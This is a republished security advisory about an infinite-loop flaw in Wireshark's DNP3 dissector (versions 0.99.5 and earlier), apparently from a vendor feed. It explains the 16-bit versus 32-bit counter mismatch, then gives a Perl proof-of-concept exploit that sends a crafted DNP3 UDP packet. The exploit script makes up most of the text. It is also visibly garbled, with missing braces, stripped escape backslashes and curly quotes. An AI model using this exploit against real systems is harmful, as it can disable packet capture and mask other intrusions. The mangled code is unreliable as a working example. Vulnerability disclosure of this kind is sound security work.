‘Wireshark DNP3 Dissector Infinite Loop Vulnerability’


A vulnerability in Wireshark’s DNP3 dissector allows attackers to cause it to enter an infinite loop which in turn can be used to mask other types of attacks from being captured by Wireshark.’


‘The information has been provided by beSTORM.
The original article can be found at: http://www.beyondsecurity.com/bestorm_overview.html


Vulnerable Systems:
 * Wireshark version 0.99.5 and prior

Immune Systems:
 * Wireshark version 0.99.6 and newer

A vulnerability in the way Wireshark handles DNP3 data allows an attacker to fool the dissector into thinking a negative value of items has been provided to it as part of the Application Layer’s request to read/write objects. This in turn causes the loop found in the code:
for (temp16 = 0; temp16 < num_items; temp16++)

To enter into an infinite loop as the temp16 parameter is defined as an unsigned int of a length of 16 bits while the num_items is defined as an unsigned int of a length of 32 bits – which in turn means than a negative value will be casted into a larger than 16 bits value – as the temp16 will not be able to reach the value stored in the num_items parameter.

Proof of Concept:
The vulnerability can be recreated by either using beSTORM with the DNP3 protocol fuzzer and monitoring the traffic generated with Wireshark or by launching the following exploit code:
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
# DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = &abort;

my $host = ‘’;
my $port = 20000;
my $proto = ‘udp’;
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = ‘hH:P:t:’;
getopts( ‘$opt_string’, %opt );

if (defined $opt{h}) {

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => ‘Send’,
 Data => ‘x05x64x15xC2x01x00x00x00x00x00xC3xC0x01x01x00’. ‘x01x07x08x01x02x03x04x05x06x07x08’},
{Command => ‘Receive’},


# End user configurable part

#1. Create a new connection
my $sock = new IO::Socket::INET (
                PeerAddr => $host,
    PeerPort => $port,
    Proto => $proto,
                Type => $sockType,
                Timeout => $timeout,
    or die ‘socket error: $!nn’;

print ‘connected to: $host:$portn’;

binmode $sock;

#2. communication part

foreach my $command (@commands)
    if ($command->{‘Command’} eq ‘Receive’)
        my $buf = receive($sock, $timeout);
        if (length $buf)
            print ‘received: [$buf]n’;
    elsif ($command->{‘Command’} eq ‘Send’)
        print ‘sending: [‘.$command->{‘Data’}.’]n’;
        send ($sock, $command->{‘Data’}, 0) or die ‘send failed, reason: $!n’;

#3. Close connection
close ($sock);

#The end

sub receive
 my $sock = shift;
 my $timeout = shift;

 my $tmpbuf;
 my $buf = ”;

 { # Example from perldoc -f alarm
  eval {
    local $SIG{ALRM} = sub { die ‘timeoutn’ };
    alarm $timeout;

    my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
    if ( !defined $ret or $ret == 0 )
    { #EOF
        die ‘timeoutn’;

    alarm 0;
    $buf .= $tmpbuf;
  if ($@) { #time out
    if($@ eq ‘timeoutn’)
    else {
        die ‘receive abortedn’;
 } #while
 return $buf;

sub abort
    print ‘aborting…n’;
    if ($sock)
        close $sock;
    die ‘User aborted operationn’;
sub usage
 print ‘usage: $0 [-hHPt]n’;
 print ‘-ht: this help messagen’;
 print ‘-Ht: override default host – $hostn’;
 print ‘-Pt: override default port – $portn’;
 print ‘-tt: set socket timeout in secondsn’;
 exit 0;

Categories: News